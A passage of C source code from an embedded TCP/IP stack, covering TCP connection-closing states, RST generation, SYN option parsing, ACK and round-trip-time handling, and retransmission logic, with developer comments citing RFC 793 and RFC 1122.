tcpCloseWait:\n \n if((pIpStack = TCPFlushSocketAndFIN(IPSRefresh(pIpStack, pSocket->s.pLLAdp, &status), pSocket, tCur, &cbTCPSeg)) != NULL &&\n pIpStack->pTCPHdr->fFin )\n {\n pSocket->tcpState = tcpLastAck;\n }\n break;\n\n // just waiting for them to ack our fin.\n case tcpLastAck:\n\n // We got the ACK to our FIN; we are DONE\n if(pIpStack != NULL && pSocket->sndUNA == pSocket->sndNXT)\n {\n pSocket->tcpState = tcpWaitUserClose;\n }\n\n // always releaset the stack as we have nothing to send back\n pIpStack = IPSRelease(pIpStack);\n break;\n\n // This is the queing of the close until we flush our data\n case tcpFinWait1:\n\n // not really expecting this, but we could just get their FIN while we are closeing.\n // so just ACK their FIN and then pretend we got this during the established state\n // and go to the CloseWaiting state to flush our Tx buffer and send our FIN\n if(pIpStack != NULL && pIpStack->pTCPHdr->fFin)\n {\n pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus);\n\n // say we received the fin\n pSocket->rcvNXT++;\n pSocket->fGotFin = true;\n pSocket->tcpState = tcpCloseWait;\n }\n\n // otherwise continue to flush our Tx buffer\n else if((pIpStack = TCPFlushSocketAndFIN(IPSRefresh(pIpStack, pSocket->s.pLLAdp, &status), pSocket, tCur, &cbTCPSeg)) != NULL &&\n pIpStack->pTCPHdr->fFin )\n {\n // This is the fin packet\n // go wait for their ACK and FIN\n pSocket->tcpState = tcpFinWait2;\n }\n break;\n\n // we MUST get an ack to our fin\n // the question is, do we also get a fin from them?\n case tcpFinWait2:\n if(pIpStack != NULL)\n {\n // We got the fIN; all we have to do is ack it and we are done\n if(pIpStack->pTCPHdr->fFin)\n {\n pSocket->rcvNXT++;\n pSocket->fGotFin = true;\n pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus);\n\n // we got the ACT to our FIN; we are done\n if(pSocket->sndUNA == pSocket->sndNXT)\n {\n pSocket->tcpState = tcpWaitUserClose;\n }\n\n // otherwise we have to wait for them to ACK our FIN\n else\n {\n pSocket->tcpState = tcpLastAck;\n }\n }\n\n // we only got an ack, but make sure this is the ack to our fin\n else if(pSocket->sndUNA == pSocket->sndNXT)\n {\n // do not send an ack, just for an ack; we only want to ack the final fIN\n pIpStack = IPSRelease(pIpStack);\n pSocket->tcpState = tcpClosing;\n\n // now in this state sndUNA == sndNXT and out connection\n // is in a stable state that will wait forever. But clearly\n // we are not going to wait forever to get the final FIN\n // so set our time and in the tcpClosing if we wait too long\n // we will send a RST and clean up the socket.\n pSocket->tLastAck = tCur;\n }\n\n // we are still waiting for the ack of our fin\n else\n {\n pIpStack = IPSRelease(pIpStack);\n }\n }\n break;\n\n case tcpClosing:\n // we never got their fin, we are waiting for it\n if(pIpStack != NULL)\n {\n // We got the FIN; all we have to do is ACK it and we are done\n if(pIpStack->pTCPHdr->fFin)\n {\n pSocket->rcvNXT++;\n pSocket->fGotFin = true;\n pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus);\n pSocket->tcpState = tcpWaitUserClose;\n }\n\n // otherwise keep waiting, for their FIN\n else\n {\n pIpStack = IPSRelease(pIpStack);\n }\n }\n break;\n\n case tcpWaitUserClose:\n pIpStack = IPSRelease(pIpStack);\n\n // spin until the user explicitly closes the socket\n // this will keep the data for the user to completely read\n if(pSocket->fSocketOpen == false)\n {\n pSocket->tcpState = tcpClosed;\n }\n break;\n\n // Shut the socket down\n case tcpClosed:\n pIpStack = IPSRelease(pIpStack);\n TCPResetSocket(pSocket); \n break;\n\n default:\n pIpStack = IPSRelease(pIpStack);\n status = ipsUnknowTCPState;\n if(pSocket != NULL)\n {\n pSocket->tcpState = tcpUnassigned;\n TCPResetSocket(pSocket);\n }\n break;\n }\n\n if(pIpStack != NULL && !IsIPStatusAnError(status))\n {\n TCPTransmit(pIpStack, pSocket, cbTCPSeg, cbOptions, true, tCur, &status);\n }\n\n AssignStatusSafely(pStatus, status);\n return;\n}\n\n/*********************************************************************\n * Function: bool TCPCheckForRST(IPSTACK * pIpStack, SOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n *\n * Input: pIpStack If data came in on the adaptor, the\n * this contains the incoming segment.\n *\n * pSocket The socket to be processessed. All active sockets are process on each loop,\n * so the pStack can easily be NULL if no data come in on the adaptor.\n * The pSocket can be NULL if data came in on the adaptor for our IP\n * but did not match any active or listin port.\n *\n * tCur The time when we entered the TCP State machine\n *\n *\n *\n * Output: pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns: true if process and error and the TCP state machine should exit, false if there were no errors.\n *\n * Note: This a preprocessor on the incoming segment and socket\n * It makes sure that things look good, or it send a RST or ACK\n * or cleans up the socket according to the requirements of the RFCs.\n *\n ********************************************************************/\nstatic bool TCPCheckForRST(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n{\n bool fAck = false;\n TCPSOCKET socket;\n \n // most common error code\n AssignStatusSafely(pStatus, ipsTCPRSTPkt);\n\n // this should not happen\n if(pIpStack == NULL)\n {\n return(true);\n }\n\n // If we are going to send reset, it will\n // be on a created dummy socket because we must\n // control so much of the values it it.\n memset(&socket, 0, sizeof(socket));\n\n // here is a very special case. Somebody is attempting to connect to a socket (port) that does not exist\n // it is either not listening or established; we must send a reset\n // RFC 793 Reset Generation point 1.\n\n // Point 1, the socket is closed or not in any kind of active state\n if(pSocket == NULL)\n {\n // do nothing, but don't process\n if(pIpStack->pTCPHdr->fRst)\n {\n return(true);\n }\n if(pIpStack->pTCPHdr->fAck)\n {\n // \n socket.sndISS = pIpStack->pTCPHdr->ackNbr;\n }\n else\n {\n // \n socket.sndISS = 0;\n socket.rcvIRS = pIpStack->pTCPHdr->seqNbr + pIpStack->cbPayload;\n fAck = true;\n \n // add the syn if a syn came in\n if(pIpStack->pTCPHdr->fSyn)\n {\n socket.rcvIRS++;\n }\n }\n }\n\n else\n {\n\n switch(pSocket->tcpState)\n {\n case tcpListen:\n if(pIpStack->pTCPHdr->fRst)\n {\n // discard as a bad segement\n return(true);\n }\n\n // we shouldn't get an ACK when listening\n else if(pIpStack->pTCPHdr->fAck)\n {\n // \n socket.sndISS = pIpStack->pTCPHdr->ackNbr + pSocket->sndISS;;\n }\n\n // we expect to see a SYN without an ACK\n // so this is a good segment\n else if(pIpStack->pTCPHdr->fSyn)\n {\n // we would typically do priority checking here\n // but we have no prioity.\n\n // otherwise this is a good segment.\n AssignStatusSafely(pStatus, ipsSuccess);\n return(false);\n }\n // on a listen, the only thing we should get is a SYN\n else\n {\n // Not sure exactly how I woudl get here\n // no RST, no ACK, no SYN; what is that?\n AssignStatusSafely(pStatus, ipsUnknowTCPState);\n return(true);\n }\n break;\n\n case tcpSynSent:\n case tcpSynReceivedWhileListening: // the Listen sent the SYN, so we are waiting for a ACK on the SYN sent by the listen\n case tcpSynReceived:\n if(pIpStack->pTCPHdr->fAck)\n {\n // if the ACK is in range and\n // really this means pIpStack->pTCPHdr->ackNbr == (pSocket->sndISS + 1)\n // if the ackNbr is less than sndISS, because of scaling it will be really big (as we are unsigned, so neg is big positive),\n // in fact so big outside of sndNXT\n // the assumption is that our sndISS is still at its orignial base value, and until we get a SYN this is true.\n if(0 < pIpStack->pTCPHdr->ackNbr && pIpStack->pTCPHdr->ackNbr <= pSocket->sndNXT)\n {\n if(pIpStack->pTCPHdr->fRst)\n {\n // We are being told to shut down and reset\n TCPResetSocket(pSocket);\n return(true);\n }\n\n // otherwise, this is a good packet\n // fall thru to the next check\n }\n\n // we are out of range, send a RST\n else if(!pIpStack->pTCPHdr->fRst)\n {\n // \n socket.sndISS = pIpStack->pTCPHdr->ackNbr + pSocket->sndISS;\n\n // break out to process the reset\n break;\n }\n\n // got a RST, so don't respond\n else\n {\n return(true);\n }\n }\n\n // random reset with no ACK, just ignore and return\n else if(pIpStack->pTCPHdr->fRst)\n {\n \n // MAC OS / Safari is very bad, they will\n // start a connection and then not ACK my SYN\n // the will just send a RST; bad bad Safari, they need\n // to send the ACK with it, they started the connection\n // if this is the correct seqNbr, remove the socket\n if(pIpStack->pTCPHdr->seqNbr == pSocket->rcvNXT)\n {\n TCPResetSocket(pSocket);\n }\n\n return(true);\n }\n\n // Things look good, now we need to check\n // sequence number, but onthe SynSent state we\n // sequence number yet to check, so just say the packet it good\n if(pSocket->tcpState == tcpSynSent)\n {\n AssignStatusSafely(pStatus, ipsSuccess);\n return(false);\n }\n\n // otherwise, fall through and check the sequence number\n\n default:\n\n if( tcpSynReceivedWhileListening <= pSocket->tcpState &&\n pSocket->tcpState <= tcpLastAck )\n {\n // check to see if their seq number is within my recieve window\n// if( ( rcvTOP(pSocket) > pSocket->rcvNXT &&\n if( ( pIpStack->pTCPHdr->seqNbr <= pSocket->rcvNXT && // I don't allow out of order seq numbers.\n pSocket->rcvNXT <= (pIpStack->pTCPHdr->seqNbr + pIpStack->cbPayload) )\n ||\n// ( rcvTOP(pSocket) == pSocket->rcvNXT &&\n ( pIpStack->pTCPHdr->seqNbr == pSocket->rcvNXT &&\n pIpStack->cbPayload == 0 ))\n\n {\n // if we are asked to reset, then reset the socket\n if(pIpStack->pTCPHdr->fRst)\n {\n // We are being told to shut down and reset\n TCPResetSocket(pSocket);\n return(true);\n }\n else\n {\n // a good segment, process it\n AssignStatusSafely(pStatus, ipsSuccess);\n return(false);\n }\n }\n\n // out of range SEQ, we send an ACK with the right stuff in it.\n // this will send an dup ACK where seq == sndRCV and segLen == 0.\n // another common condition if they retransmit a packet that I already recieved, I will ACK it.\n else if(!pIpStack->pTCPHdr->fRst)\n {\n// IPSTACK * pIpStack2 = IPSRefresh(NULL, pSocket->s.pLLAdp, pStatus);\n// TCPTransmit(pIpStack2, pSocket, 0, 0, true, tCur, pStatus);\n// pIpStack2 = IPSRelease(pIpStack2);\n\n// if(pIpStack->pTCPHdr->seqNbr > pSocket->rcvNXT)\n// {\n// pSocket->rcvSeqAhead = pIpStack->pTCPHdr->seqNbr;\n// }\n\n // \n pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus);\n TCPTransmit(pIpStack, pSocket, 0, 0, true, tCur, pStatus);\n\n AssignStatusSafely(pStatus, ipsSeqOutOfBoundsACKResponse);\n return(true);\n }\n }\n\n AssignStatusSafely(pStatus, ipsUnknowTCPState);\n return(true);\n break;\n }\n }\n\n // if we got here, we know we are sending a RST\n socket.s.pLLAdp = pIpStack->pLLAdp;\n\n // do this before refreshing (swapping). That is because\n // the order in the stack is opposite of the order in the socket\n // this is so the LL can just do a uint32_t compare on the pair and match\n socket.s.portPair = pIpStack->pTCPHdr->portPair;\n\n // prepare to send the response\n // this will always pass as we know we have an IpStack\n IPSRefresh(pIpStack, pIpStack->pLLAdp, pStatus);\n\n // make a dummy socket with IP and port\n if(ILIsIPv6(pIpStack->pLLAdp))\n {\n memcpy(&socket.s.ipRemote.ipv6, &pIpStack->pIPv6Hdr->ipDest, sizeof(IPv6));\n }\n else\n {\n memcpy(&socket.s.ipRemote.ipv4, &pIpStack->pIPv4Hdr->ipDest, sizeof(IPv4));\n }\n\n // say this is a reset\n pIpStack->pTCPHdr->fRst = true;\n\n // send the reset with no ACK\n TCPTransmit(pIpStack, &socket, 0, 0, fAck, tCur, pStatus);\n\n AssignStatusSafely(pStatus, ipsConnectionOutofSyncSendRST);\n return(true);\n}\n\n/*********************************************************************\n * Function: void TCPProcessSYN(IPSTACK * pIpStack, SOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n *\n * Input: pIpStack If data came in on the adaptor, the\n * this contains the incoming segment.\n *\n * pSocket The socket to be processessed. All active sockets are process on each loop,\n * so the pStack can easily be NULL if no data come in on the adaptor.\n * The pSocket can be NULL if data came in on the adaptor for our IP\n * but did not match any active or listin port.\n *\n * tCur The time when we entered the TCP State machine\n *\n *\n *\n * Output: pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns: None\n *\n * Note: This process an incoming SYN, it should be valid as\n * TCPCheckForRST should have killed all invalid stuff\n *\n ********************************************************************/\nstatic void TCPProcessSYN(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n{\n UNUSED(tCur);\n AssignStatusSafely(pStatus, ipsSuccess);\n\n // Process a SYN\n // Error checking for a bad SYN should have been done in TCPCheckForRST\n if(pIpStack->pTCPHdr->fSyn)\n {\n // and only if the syn makes sense; get the info out of the syn packet\n // I have to undo what I did when I normalized the number;\n // by adding 1 to the sequence nbr, we are acking the syn without changing the indexing\n // in our receive buffers.\n pSocket->rcvIRS = pIpStack->pTCPHdr->seqNbr + 1; // init it\n\n // process options\n // RFC 1122 4.2.2.6, Should have MSS option\n pSocket->cbRemoteEffMSS = 0; // init it so not to have bogus stuff from a prev bad SYN\n if(pIpStack->pTCPHdr->dataOffset > sizeof(TCPHDR)/sizeof(uint32_t))\n {\n TCPOPTION * pOption = (TCPOPTION *) (pIpStack->pTCPHdr+1);\n uint32_t cbOptionsT = pIpStack->pTCPHdr->dataOffset * sizeof(uint32_t) - sizeof(TCPHDR);\n\n // run the options\n while(cbOptionsT > 0)\n {\n // if this is\n switch(pOption->optionKind)\n {\n case tcpOpKdEndOfList:\n cbOptionsT = 0;\n continue;\n break;\n\n case tcpOpKdNoOperation:\n\n cbOptionsT--;\n pOption = (TCPOPTION *) (((void *) pOption) + 1);\n\n // there is no length, so just go to the next option\n continue;\n break;\n\n default:\n break;\n }\n\n // check the size to see if there is an option\n if(pOption->length > cbOptionsT)\n {\n break;\n }\n\n switch(pOption->optionKind)\n {\n case tcpOpKdMaxSegSize:\n pSocket->cbRemoteEffMSS = pOption->rgu16[0];\n break;\n\n case tcpOpKdSAckMult:\n case tcpOpKdTimestamp:\n case tcpOpKdWindowScale:\n case tcpOpKdSAck:\n case tcpOpKdAltChksumReq:\n case tcpOpKdAltChksumData:\n default:\n break;\n }\n\n // go to the next option\n cbOptionsT -= pOption->length;\n pOption = (TCPOPTION *) (((void *) pOption) + pOption->length);\n }\n }\n\n // all we want to do is check to see if we got a cbRemoteMMS or not\n // and if not, set it to the defualt\n // no options setting the size, so use what I am specifying.\n if(pSocket->cbRemoteEffMSS == 0)\n {\n pSocket->cbRemoteEffMSS = 536; // RFC 1122 4.2.2.6 the default value\n }\n\n // now following the instructions of RFC 1122 4.2.2.6\n // we don't send options on anything but the syn, so we don't have to include that.\n pSocket->cbRemoteEffMSS = min((uint16_t) (pSocket->cbRemoteEffMSS + 20), (uint16_t) LLGetMTUS(pSocket->s.pLLAdp)) - sizeof(TCPHDR);\n }\n}\n\n/*********************************************************************\n * Function: void TCPProcessACK(IPSTACK * pIpStack, SOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n *\n * Input: pIpStack If data came in on the adaptor, the\n * this contains the incoming segment.\n *\n * pSocket The socket to be processessed. All active sockets are process on each loop,\n * so the pStack can easily be NULL if no data come in on the adaptor.\n * The pSocket can be NULL if data came in on the adaptor for our IP\n * but did not match any active or listin port.\n *\n * tCur The time when we entered the TCP State machine\n *\n *\n *\n * Output: pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns: None\n *\n * Note: This process an incoming ACK, it should be valid as\n * TCPCheckForRST should have killed all invalid stuff\n *\n ********************************************************************/\nstatic void TCPProcessACK(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n{\n AssignStatusSafely(pStatus, ipsSuccess);\n\n // check to make sure we can process and ACK\n if(pIpStack == NULL || pSocket == NULL)\n {\n return;\n }\n\n // normalize our seq numbers\n pIpStack->pTCPHdr->ackNbr -= pSocket->sndISS;\n pIpStack->pTCPHdr->seqNbr -= pSocket->rcvIRS;\n\n // process the ACK; we always process ACKs\n // Error checking for a bad ACK should have been done in TCPCheckForRST\n if( pIpStack->pTCPHdr->fAck)\n {\n\n // do some round trip calculations, RFC 793 3.7\n // if the incoming message spans our complete time, then take the round trip time.\n // we are in the window of what we are waiting for\n // karns says, only update if we didn't retransmit\n if(pSocket->cRetransmit == 0 && pSocket->sndUNA < pSocket->sndRTTComplete && pSocket->sndRTTComplete <= pIpStack->pTCPHdr->ackNbr)\n {\n // RFC 973 3.7 says ALPHA .8 - .9\n // we pick .875 which is (1-1/8)\n // the equation is SRTT = (ALPHA * SRTT) + ((1-ALPHA) *RTT)\n // replace ALPHA with (1-1/8) we have\n // SRTT = ((1-1/8) * SRTT) + ((1-(1-1/8)) * RTT)\n // SRTT = ((SRTT - SRTT/8) + (RTT/8)\n // SRTT = SRTT + RTT/8 - SRTT/8\n // this is on a ms time base, we could go to zero, but lets set a lower bound of 2 ms\n //pSocket->SRTT = max(2, SRTT(pSocket->SRTT, (tCur - pSocket->tSndRTTStart)));\n\n // All fine and dandy, but Jacobson has a different rule\n UpdateSaSv(pSocket, (tCur - pSocket->tSndRTTStart));\n\n // but here we do Karn's rule\n pSocket->tRTO_SET = RTO(pSocket);\n }\n\n\n // No matter what, we better understand when we need to\n // reset our round trip timers\n if(pIpStack->pTCPHdr->ackNbr >= pSocket->sndRTTComplete)\n {\n pSocket->tRTOCur = pSocket->tRTO_SET;\n pSocket->cRetransmit = 0;\n pSocket->sndRTTComplete = pIpStack->pTCPHdr->ackNbr;\n }\n\n // only take the ack if in range\n // This is very critical, and very complex\n // typically the ack needs to be between sendUNA and sndNXT, however\n // when we retransmit we reset both sndUNA and sndNXT to lower values and the other\n // side might start saying hey I got that already and the ack will be greater than sndNXT\n // so we really need to check to see if the ack came in between snd UNA and sndEND\n // and we have to adjust sendNXT to the ack if the ack is above sndNXT\n // also, if we get an dup ack, the otherside may be giving us a new window size and we\n // want to pick up that info, so process dup ack's that is sndUNA == ack.\n if( pSocket->sndUNA <= pIpStack->pTCPHdr->ackNbr &&\n (pIpStack->pTCPHdr->ackNbr <= pSocket->sndNXT || pIpStack->pTCPHdr->ackNbr <= pSocket->sndEND))\n// if(pSocket->sndUNA <= pIpStack->pTCPHdr->ackNbr && pIpStack->pTCPHdr->ackNbr <= pSocket->sndNXT)\n {\n\n // if this is a fast retransmit request, which is when the other side\n // keeps sending us an ack over and over again at the same value\n if( pSocket->sndUNA == pIpStack->pTCPHdr->ackNbr ) // if we have seen this ack before\n {\n if( pSocket->sndNXT > pSocket->sndUNA && // if he is not caught up to us\n pIpStack->cbPayload == 0 && // and this isn't just an ack coming in with data\n !pIpStack->pTCPHdr->fFin && // and is not a fin as a fin is logical payload length of 1\n pSocket->cSameAck < 15) // do not want to overflow the counter and wrap\n {\n pSocket->cSameAck++;\n }\n }\n else\n {\n // update my unacked ack location\n pSocket->cSameAck = 0;\n pSocket->cTxUntilPause = CNTPAUSESEND;\n pSocket->sndUNA = pIpStack->pTCPHdr->ackNbr;\n }\n\n // this should ONLY happen when we retransmit\n // our sndNXT was backed off to the retransmit point, but the otherside\n // actually acked us that he did in fact get it. So we need to restore our sndNXT\n // or as a result of a zero probe window request\n // which sends a byte to the otherside when he may not be able to accept it; which puts us in\n // an automatic retransmit condtions; so in this case the sndNXT is brought back\n if(pSocket->sndUNA > pSocket->sndNXT || pSocket->cZWndProbe > 0)\n {\n pSocket->sndNXT = pSocket->sndUNA;\n pSocket->cSameAck = 0;\n pSocket->cTxUntilPause = CNTPAUSESEND;\n }\n\n// if(pSocket->sndUNA >= pSocket->rcvSeqAhead)\n// {\n// pSocket->rcvSeqAhead = pSocket->sndUNA;\n// }\n\n // if we get ANY ACK, we are getting responses from the remote\n // so we can hold off any retransmits; reset and recalculate the new retran times\n pSocket->tLastAck = tCur;\n\n // see if we have moved ahead of our flush point, if so; put the flush point\n // at the UNA location and track at the lower limit so compares are valid\n if(pSocket->sndUNA > pSocket->sndPSH)\n {\n pSocket->sndPSH = pSocket->sndUNA;\n }\n\n // see if we have moved ahead of our flush point, if so; put the flush point\n // at the UNA location and track at the lower limit so compares are valid\n if(pSocket->sndUNA > pSocket->sndUP)\n {\n pSocket->sndUP = pSocket->sndUNA;\n }\n\n // update how many bytes I can send\n // that would be realive to the ack that just came in\n // ack + window - sndNXT\n if((pIpStack->pTCPHdr->ackNbr + pIpStack->pTCPHdr->window) > pSocket->sndNXT)\n {\n pSocket->sndWND = pIpStack->pTCPHdr->ackNbr + pIpStack->pTCPHdr->window - pSocket->sndNXT;\n pSocket->cZWndProbe = 0;\n }\n else\n {\n pSocket->sndWND = 0;\n }\n }\n }\n}\n\n/*********************************************************************\n * Function: bool TCPCheckForReTransmit(IPSTACK * pIpStack, SOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n *\n * Input: pIpStack If data came in on the adaptor, the\n * this contains the incoming segment.\n *\n * pSocket The socket to be processessed. All active sockets are process on each loop,\n * so the pStack can easily be NULL if no data come in on the adaptor.\n * The pSocket can be NULL if data came in on the adaptor for our IP\n * but did not match any active or listin port.\n *\n * tCur The time when we entered the TCP State machine\n *\n *\n *\n * Output: pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns: true if we want to exit the TCP state machine, false if we want to stay in the state machine.\n *\n * Note: If too much time has gone by, we may need to retransmit data that did not get acked.\n * SYN and FIN are ugly to retransmit; particularly SYNs\n *\n ********************************************************************/\nstatic bool TCPCheckForReTransmit(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n{\n AssignStatusSafely(pStatus, ipsSuccess);\n\n // only worry if the remote is not up to date.\n if(pSocket->sndUNA < pSocket->sndNXT)\n {\n // if it has been so long as we exceed the MSL\n // we need to send a reset and kill the connection\n \n // 2 way to interpret the RFC, 2 Min total, or\n // 2 min from last attempt. 2 min from last attempt will \n // give a total time of over 6 min before giving up\n // that is too long. So lets say 2 min total\n\n// if(tCur - pSocket->tLastAck >= TCPMSL)\n if(tCur - pSocket->tSndRTTStart >= TCPMSL)\n {\n if((pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus)) != NULL)\n {\n pIpStack->pTCPHdr->fRst = true;\n\n // we want the otherside to accept our reset if they get it, it must\n // be in a range of their recieve window. We really don't know how many\n // packets they have sent me and I missed; or how many they have missed.\n // However, the best guess is what he last ACKed to me. After all, I am\n // waiting for an ACK that I never got, so I can assume his last ACK is where\n // his rcvNXT is, so I will set my sndNXT to the last thing he ACKed\n pSocket->sndNXT = pSocket->sndUNA;\n\n // don't call TCPTransmitRST, that assumes we have a valid IpStack and no socket\n // here we have the a valid socket, but may not have a valid IpStack.\n TCPTransmit(pIpStack, pSocket, 0, 0, true, tCur, pStatus);\n\n // clean up the socket and release it.\n TCPResetSocket(pSocket);\n AssignStatusSafely(pStatus, ipsNoACKinMSLTime);\n return(true);\n }\n }\n\n // Now just set our sndNext back and send those packets again.\n else if(tCur - pSocket->tLastAck >= pSocket->tRTOCur || pSocket->cSameAck >= cDupAckFastRetransmit)\n {\n IPSTATUS status;\n\n // we are clearly retransmitting.\n AssignStatusSafely(pStatus, ipsRetransmit);\n pSocket->cSameAck = 0;\n \n // Only pretend to retransmit if we are not connected\n // but don't actually retransmit, and don't timeout either\n if(!TCPIsConnected(pSocket, &status))\n {\n\n // by making sure cRetranmit is > 0, then\n // because of the Karn algorithm, round trip time will ignored\n // if we are already retransmitting, just keep our count where it is\n if(pSocket->cRetransmit == 0) pSocket->cRetransmit++;\n\n // Last Ack is used for connection timeout\n // if we reset it, the connection will not timeout\n // but we only want to do this if the connection loss\n // is not permanent.\n pSocket->tLastAck = tCur;\n\n // if we permanently lost the connection\n // we have to close the socket and clean up\n if(IsIPStatusAnError(status))\n {\n pSocket->tcpState = tcpWaitUserClose;\n AssignStatusSafely(pStatus, status);\n\n pSocket->sndWND += pSocket->sndNXT - pSocket->sndUNA;\n pSocket->sndUNA = pSocket->sndNXT;\n\n // go ahead and process this.\n return(false);\n }\n\n // just pretend we retransmitted.\n return(true);\n }\n\n // set up for our next timeout time\n // We are required to exponetially grow\n // but eventually we will max out\n if(pSocket->tRTO_SET < 0x80000000)\n {\n pSocket->tRTO_SET = (pSocket->tRTO_SET << 1);\n\n // now add this on to the current time as tLastAck has not moved\n // and is == to tRTOCur\n // and we need to wait the new amount above what time has already past\n pSocket->cRetransmit++;\n }\n\n // set up for our next delay\n pSocket->tLastAck = tCur;\n pSocket->tRTOCur = pSocket->tRTO_SET;\n\n // resend data because we did not see the ack\n pSocket->sndNXT = pSocket->sndUNA;\n \n // Don't send any more data until we see an ACK\n // this is because the retransmit could be for one out of seq packet\n // and we don't want to redump everything, we may wish to move forward to his ACK\n // if he can handle out of sequence packets and will jump forward beyond\n // just this one missing packet. This will prevent retransmitting unneeded data on the wire\n pSocket->cTxUntilPause = 1;\n\n // if we need to resent the SYN, then do that.\n // this is very difficult as CreateSyn resets a bunch of stuff and requires ARP to succeed. Typically ARP will succeed because the\n // syn just came in and set up our ARP table an we will find the IP quickly. However, times out are bad as the ARP table can expire\n if(pSocket->tcpState == tcpSynSent || pSocket->tcpState == tcpSynReceivedWhileListening || pSocket->tcpState == tcpSynReceived)\n {\n uint32_t cbOptions = 0;\n\n // resend the syn\n IPSRelease(pIpStack); // get rid of the old IpStack; if any\n\n // It would be really nice if we could bet that the sender sent me an IpStack big enough to put my 4 bytes of options in\n // but we can't depend on that, so we must get a new IpStack where we know we have the space, but that means we will\n // be doing an ARP lookup on the IP AND all of our timers will be reinit. We must deal with all of this. But the SYN\n // is our only IpStack that REQUIRES the options. Also, this will be sent until I get my ACK!\n TCPTransmit(TCPCreateSyn(pSocket, &cbOptions, pStatus), pSocket, 1, cbOptions, (pSocket->tcpState == tcpSynReceivedWhileListening || pSocket->tcpState == tcpSynReceived), tCur, pStatus);\n\n // very obscure thing going on here. Typically the TCPTrasmit would set this value; however, if we \"failed\" to transmit then this does not get set\n // and then sendNext == sndUNA and we will go into the established state; which is wrong. Send may fail specifically if ARP fails; as in the remote goes away.\n // what happens is that TCPCreateSyn creates a new IpStack and is NOT based on the incoming IpStack, so our MAC set and must be looked up through the IP address\n // after 1 min, the ARP table expires and an ARP is done, if there is no response, then I fail the ARP which will fail the transmit which will not advance the sndNXT.\n // So even in the face of an APR failure / transmit failure; just set the sndNXT to 1, we will loop until the MSL timeout and then attempt to send a RST\n // IF I can do an ARP. But at least we will recover the socket on timeout and no enter the established state.\n pSocket->sndNXT = 1;\n AssignStatusSafely(pStatus, ipsRetransmit);\n return(true);\n }\n\n // resend a FIN from them closing\n else if(pSocket->tcpState == tcpCloseWait || pSocket->tcpState == tcpLastAck)\n {\n pSocket->tcpState = tcpCloseWait; // retransmit unacked data too\n }\n\n // resend a FIN from us closing\n else if (pSocket->tcpState == tcpFinWait1 || pSocket->tcpState == tcpFinWait2)\n {\n pSocket->tcpState = tcpFinWait1; // retransmit unacked data too\n }\n }\n }\n \n // else we are caught up and we are in a stable state\n // see if we need to ping the other side\n else if(pSocket->cRetransmit == 0)\n {\n bool fSendAck = false;\n bool fSendRst = false;\n\n // these are stable states that the connection can be open forever\n // as we are current on their ACK. However, this can also keep the\n // socket open forever even if they drop off the earth, so do\n // something for socket garbage collection.\n switch(pSocket->tcpState)\n {\n\n // not sure what to do here, maybe they want the socket to\n // stay open forever, we need to have somekind of parameter to set here\n case tcpEstablished:\n\n// if(pSocket->rcvSeqAhead >= pSocket->rcvNXT && (tCur - pSocket->tLastAck) >= 10)\n// {\n// fSendAck = true;\n// }\n break;\n\n // if we send a FIN, and they ACKed our FIN\n // we expect them to send a FIN eventually.\n case tcpClosing:\n\n // abort the socket if I don't get data or a FIN in a reasonable time\n if(tCur - pSocket->tLastAck >= max(TCPMAXHALFCLOSE, (pSocket->tRTOCur << 1)))\n {\n fSendRst = true;\n fSendAck = true;\n }\n break;\n\n default:\n break;\n }\n\n // Send and ACK to wake up the otherside and get with the program!\n if(fSendAck && (pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus)) != NULL)\n {\n // reset if asked to reset\n pIpStack->pTCPHdr->fRst = fSendRst;\n\n // Send an ACK\n // here we have the a valid socket, but may not have a valid IpStack.\n TCPTransmit(pIpStack, pSocket, 0, 0, true, tCur, pStatus);\n\n // garbage collect the socket\n if(fSendRst)\n {\n // clean up the socket and release it.\n TCPResetSocket(pSocket);\n AssignStatusSafely(pStatus, ipsNoACKinMSLTime);\n }\n\n return(true);\n }\n }\n\n // we want to go into the TCP state machine\n return(false);\n}\n\n/*********************************************************************\n * Function: bool TCPTransmit(IPSTACK * pIpStack, SOCKET * pSocket, int32_t cbSend, int32_t cbOptions, bool fAck, uint32_t tCur, IPSTATUS * pStatus)\n *\n * Input: pIpStack The IpStack populated with what needs to be sent\n *\n * pSocket The socket that the data is going out on.\n *\n * cbSend The number of bytes we are sending\n * This is usually cbPayload, however SYNs and FINs are a count of 1 even if the payload is zero\n *\n * cbOptions How many bytes are in the options field in the TCPHDR. Usually this is 4 for a SYN\n *\n * fAck Almost always true except for initial SYNs and some RSTs\n *\n * tCur Current time in ms of when the state machine was called. Used as current time.\n *\n * Output: pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns: true is the send succeeded, false otherwise\n *\n * Note: This is the generic TCP Send routine that tracks our SEQNbr and\n * makes sure the data is sent on the sockets port\n * and will create proper ACKs if requested.\n * It also updates the counts in the TCPHDR to what is being sent.\n *\n ********************************************************************/\nbool TCPTransmit(IPSTACK * pIpStack, TCPSOCKET * pSocket, int32_t cbSend, int32_t cbOptions, bool fAck, uint32_t tCur, IPSTATUS * pStatus)\n{\n IPSTATUS status = ipsSuccess;\n\n if(pIpStack == NULL)\n {\n status = ipsIpStackNULL;\n }\n else if(pSocket == NULL)\n {\n status = ipsSocketNULL;\n }\n\n if(status != ipsSuccess)\n {\n AssignStatusSafely(pStatus, status);\n return(false);\n }\n\n pIpStack->pTCPHdr->portSrc = pSocket->s.portLocal;\n 